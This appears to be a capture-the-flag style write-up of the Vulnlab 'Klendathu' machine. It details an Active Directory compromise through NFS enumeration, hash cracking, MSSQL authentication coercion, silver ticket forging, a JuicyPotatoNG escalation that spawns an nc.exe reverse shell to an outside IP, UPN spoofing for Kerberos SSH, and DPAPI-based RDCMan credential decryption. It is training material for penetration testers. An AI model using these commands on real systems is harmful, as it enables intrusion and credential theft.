Klendathu, an insane rated machine involved enumerating nfs share containing a configuration file with password hash of domain user, this user had guest access on MSSQL service, forcing authentication with sys.dm_os_file_exist
, forging silver ticket
then escalating privileges on SRV1
, spoofing domain user on SRV2
with the MSSQL user and then decrypting RDCMan
credentials with domain backup key.
DC1.KLENDATHU.VL
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
SRV1.KLENDATHU.VL
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VL
SRV2.KLENDATHU.VL
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.7 (protocol 2.0)
| ssh-hostkey:
| 256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)
|_ 256 1169f003859ff4ea1529d4c2655d27eb (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
2049/tcp open
We have smb port open on SRV1 and DC1, NFS on the linux hosts so let’s start enumerating the shares first
Enumerating NFS share
We get access denied on both of them, looking at nfs, we have /mnt/nfs_share
that can be mounted from our host
Mounting the folder with mount
sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares
There’s a configuration file for a cisco switch, at the end there’s a contact email which could be a domain user, which is a valid user
We can also see a cisco secret password which is MD5 hashed
This can be cracked with either hashcat or john
hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt --force
With these credentials we can list down the shares on both windows hosts and can read HomeDirs
on DC which is interesting
But these directories were not accessible with the user we had
Moving forward we can enumerate AD with bloodhound
python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VL
This user belongs to Netadmins group but there’s nothing beyond that bloodhound show us
Accessing MSSQL
We have MSSQL running on SRV1, so verifying these credentials can be used to login there
Here we can try to enable xp_cmdshell
, but it was not getting executed, similarly with xp_dirtree
as well
MSSQL Coerced Authentication
The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there’s a neat cheat sheet for coercion through mssql but most of them didn’t work as they required administrative privileges or were blocked, xp_fileexist
was working tho but it wasn't able to perform coercion just showing if the file exists
Searching around for utilizing file exists, there’s another function sys.dm_os_file_exist
which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two
SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')
Forging Silver Ticket
The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)
For forging a silver ticket, ticketer.py
will be used to do that
ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator
After using the forged ticket (silver ticket), we can see that the user we currently are is dbo
which is the database owner, so now we won't have any restrictions on running xp_cmdshell
Now transferring netcat to get a shell
Becoming Local Administrator on SRV1
We can perform local privilege escalating by abusing SeImpersonte
privilege through JuicyPotato-NG
JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"
From here onward there wasn’t anything we could do as dumping lsass didn’t returned any domain user’s hash other than the local admin and machine account
Spoofing Domain Users On GSSAPI Authentication
Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite
and ForeChangePassword
on two domain users, rico
and ibanez
, with this ACL we can change the password using rpcclient
or net rpc
These accounts also don’t have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn’t worked
There’s a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName
attribute, this attribute is utilized by NT_ENTERPRISE
through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS
with two members
Then adding userPrincpalName
to be any of the two users, for adding this attribute we can use ldapmodify
for that we need to create a ldif
file
dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: flores
ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldif
This attribute can be verified with ldapsearch
Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise
Make sure to have GSSAPI authentication in /etc/ssh/sshd_config
and set the domain realm in /etc/krb5.conf
Convert the kirbi ticket to ccache and use it against ssh with -K
We can directly become root here as flores is a “linux admin”, so just running sudo bash
will give us the root shell
root user’s directory has a backup of domain controller with ntds.dit
, SAM
and SECURITY
file from the registry hive
But the passwords here have been reset so there’s no point and parse the ntds file, the /tmp
directory has a ticket for svc_backup
account
This can be used just by transferring on our kali machine and export the ticket
svc_backup doesn’t have any special ACL but the description does say about syncing data to user’s directories
Decrypting RDCMan password
So going back at the enumeration stage where we were trying to access smb shares, there were some user’s directories, with this user those directories are accessible
Here jnkeins.rdg
, is a file containing configuration settings for connecting to remote desktop sessions, having administrator’s password hash
From chatgpt I generated a ps script to decrypt the password but it didn’t worked due to how the password is encrypted
Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
param (
[Parameter(Mandatory=$true)]
[string]$encryptedString
)
try {
$bytes = [Convert]::FromBase64String($encryptedString)
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)
return $decryptedString
} catch {
Write-Error "Failed to decrypt password: $_"
}
}
$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword
Write-Output "Decrypted Password: $decryptedPassword"
So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip
, after extracting the archive we’ll have the path to master keys ./AppData/Roaming/Microsoft/Protect
Using ntdissector
, domain backup keys can be extracted, there will be a file named secrets.json
containing pvk value encoded in base64
We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound
From DIANA Windows Credential Toolkit
, there's a script diana-msrdcmandec.py
for decrypting
rdcman credentials, we have all the parameters for decrypting the password from rdg file
python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk
Having administrator's password, we can just login through WinRM and get full access on the domain
References
- https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
- https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/
- https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-v
- https://www.ibm.com/docs/en/aix/7.1?topic=support-using-openssh-kerberos
- https://www.winter.fyi/2017/01/decrypt-password-remote-desktop-connection-manager-rdcman/
- https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context
- https://github.com/synacktiv/ntdissector
- https://github.com/tijldeneut/diana